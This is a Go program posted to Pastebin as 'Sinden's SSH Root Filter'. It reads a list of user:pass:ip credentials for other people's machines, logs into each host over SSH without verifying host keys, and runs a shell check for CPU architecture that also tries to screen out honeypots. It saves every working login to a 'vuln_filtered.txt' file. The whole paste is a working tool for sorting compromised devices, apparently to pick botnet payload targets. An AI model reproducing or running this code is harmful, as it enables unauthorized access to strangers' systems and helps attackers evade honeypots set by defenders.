Advertisement
linux

SSH_root_filter.go

Jul 15th, 2018
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 2.81 KB | None | 0 0
  1. /*
  2.     >> Sinden's SSH 64/32bit System Filter
  3.     Credits to Google and the mind of Sinden.
  4.     Info: Sorts list of SSH devices for 32/64bit system
  5.     whilst also filtering out all honeypots.
  6. */
  7.  
  8. package main
  9.  
  10. import (
  11.     "bufio"
  12.     "bytes"
  13.     "fmt"
  14.     "golang.org/x/crypto/ssh"
  15.     "net"
  16.     "os"
  17.     "strings"
  18.     "sync"
  19. )
  20.  
  21. func worker(c chan string) {
  22.     for {
  23.         s := <-c
  24.         if len(s) == 0 {
  25.             wg.Done()
  26.             return
  27.         }
  28.         d := strings.TrimSpace(s)
  29.         a := strings.Split(d, ":")
  30.         user := a[0]
  31.         pass := a[1]
  32.         ip := a[2]
  33.         config := &ssh.ClientConfig{
  34.             User: user,
  35.             Auth: []ssh.AuthMethod{
  36.                 ssh.Password(pass),
  37.             },
  38.             HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
  39.                 return nil
  40.             },
  41.         }
  42.         conn, err := ssh.Dial("tcp", ip+":22", config)
  43.         if err != nil {
  44.             //fmt.Println("ERR: can't dial socket...")
  45.             return
  46.         }
  47.         session, err := conn.NewSession()
  48.         if err != nil {
  49.             //fmt.Println("ERR: can't create session: "+err.Error())
  50.         }
  51.         defer session.Close()
  52.         var b bytes.Buffer
  53.         session.Stdout = &b
  54.         //Checking for Arch and filtering honeypots out.
  55.         session.Run("if [[ $(uname -m) == +(x86_64|i686|amd64) ]]; then if [ $(ls /home/) == \"richard\" ]; then echo \"\" >/dev/null; else uname -m; fi; fi")
  56.         if strings.Contains(strings.ToLower(b.String()), strings.ToLower("x86_64")) { //x86_64
  57.             fo, err := os.OpenFile("vuln_filtered.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0666)
  58.             if err != nil {
  59.                 panic(err)
  60.             }
  61.             fo.WriteString(user + ":" + pass + ":" + ip + "\n")
  62.             fo.Close()
  63.             fmt.Println("[x86_64] Found SSH device: " + user + ":" + pass + ":" + ip)
  64.         } else if strings.Contains(strings.ToLower(b.String()), strings.ToLower("i686")) { //i686
  65.             fo, err := os.OpenFile("vuln_filtered.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0666)
  66.             if err != nil {
  67.                 panic(err)
  68.             }
  69.             fo.WriteString(user + ":" + pass + ":" + ip + "\n")
  70.             fo.Close()
  71.             fmt.Println("[i686] Found SSH device: " + user + ":" + pass + ":" + ip)
  72.         } else if strings.Contains(strings.ToLower(b.String()), strings.ToLower("amd64")) { //AMD64
  73.             fo, err := os.OpenFile("vuln_filtered.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0666)
  74.             if err != nil {
  75.                 panic(err)
  76.             }
  77.             fo.WriteString(user + ":" + pass + ":" + ip + "\n")
  78.             fo.Close()
  79.             fmt.Println("[AMD64] Found SSH device: " + user + ":" + pass + ":" + ip)
  80.         }
  81.     }
  82. }
  83.  
  84. func populate(c chan string) {
  85.     file, err := os.Open("list.txt")
  86.     if err != nil {
  87.         fmt.Println("Can't open list.txt (user:pass:ip)")
  88.     }
  89.     defer file.Close()
  90.  
  91.     scanner := bufio.NewScanner(file)
  92.     for scanner.Scan() {
  93.         c <- scanner.Text()
  94.     }
  95.     return
  96. }
  97.  
  98. var wg sync.WaitGroup
  99.  
  100. func main() {
  101.     fmt.Println("Sinden's SSH Root Filter v1.0")
  102.     c := make(chan string)
  103.     go populate(c)
  104.     for i := 0; i < 4096; i++ {
  105.         wg.Add(1)
  106.         go worker(c)
  107.     }
  108.     wg.Wait()
  109. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement